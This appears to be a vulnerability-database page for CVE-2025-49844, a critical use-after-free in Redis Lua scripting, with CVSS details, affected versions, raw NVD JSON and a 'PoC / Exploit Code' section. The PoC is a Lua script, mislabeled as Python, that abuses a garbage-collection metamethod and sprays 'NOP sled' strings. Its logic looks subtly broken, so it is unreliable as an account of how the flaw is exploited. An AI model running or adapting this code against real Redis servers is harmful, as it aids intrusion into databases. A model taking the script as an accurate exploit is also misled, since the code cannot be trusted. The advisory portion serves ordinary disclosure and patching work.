Security Vulnerability Report
中文
CVE-2025-49844 CVSS 9.9 CRITICAL

CVE-2025-49844

Published: 2025-10-03 20:15:33
Last Modified: 2026-03-20 14:16:14

Description

Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:* - VULNERABLE
Redis <= 8.2.1
Redis 所有启用Lua脚本功能的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- CVE-2025-49844 Redis Lua GC Manipulation PoC -- This PoC demonstrates the use-after-free vulnerability through garbage collector manipulation -- Step 1: Create initial Lua table to set up object references local victim = {} -- Step 2: Populate the table with controlled data for i = 1, 100 do victim[i] = string.rep("A", 64) end -- Step 3: Create a metatable to intercept garbage collection local mt = { __gc = function(t) -- Trigger Redis internal operation during GC to cause UAF redis.call("PING") -- Force reallocation to reuse freed memory local filler = string.rep("B", 128) redis.call("SET", "exploit_key", filler) end } -- Step 4: Set metatable on victim object setmetatable(victim, mt) -- Step 5: Clear references to trigger garbage collection victim = nil -- Step 6: Force garbage collection to trigger the vulnerability collectgarbage("collect") collectgarbage("collect") -- Step 7: Allocate new memory to occupy freed space local payload = {} for i = 1, 200 do payload[i] = string.rep("\x90\xcc", 32) -- NOP sled + int3 end -- Step 8: Trigger access to freed memory through Redis operations redis.call("DEBUG", "SET-ACTIVE-EXPIRE", "0") redis.call("EVAL", "return 1", "0") return "PoC executed - CVE-2025-49844"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49844", "sourceIdentifier": "[email protected]", "published": "2025-10-03T20:15:32.823", "lastModified": "2026-03-20T14:16:14.130", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.2.20", "matchCriteriaId": "C2F4D4F6-6F7C-46BC-B37C-DFAC34B097AC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.2.11", "matchCriteriaId": "4F82BD2A-473F-4F3F-9C80-C6448D07C45D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.6", "matchCriteriaId": "F6E336B8-E000-4EFA-95F8-F2B74A4913F0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4", "matchCriteriaId": "459EBC07-D37A-44E5-95DB-4C3FD9F008FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.2", "matchCriteriaId": "CBF13EC1-FE0A-4242-B8D3-2681485DDDF2"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.11", "matchCriteriaId": "8CAF97D0-BE35-43AE-B820-3A88D1F49050"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.6", "matchCriteriaId": "F0285AE3-BBEA-4D0E-A8AD-957EC3E78870"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.4", "matchCriteriaId": "725746C6-025D-4364-9D97-E1315D670DF6"}]}]}], "references": [{"url": "https://github.com/redis/redis/commit/d5728cb5795c966c5b5b1e0f0ac576a7e69af539", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/redis/redis/releases/tag/8.2.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/redis/redis/security/advisories/GHSA-4789-qfc9-5f9q", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/07/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://github.com/lastvocher/redis-CVE-2025-49844", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}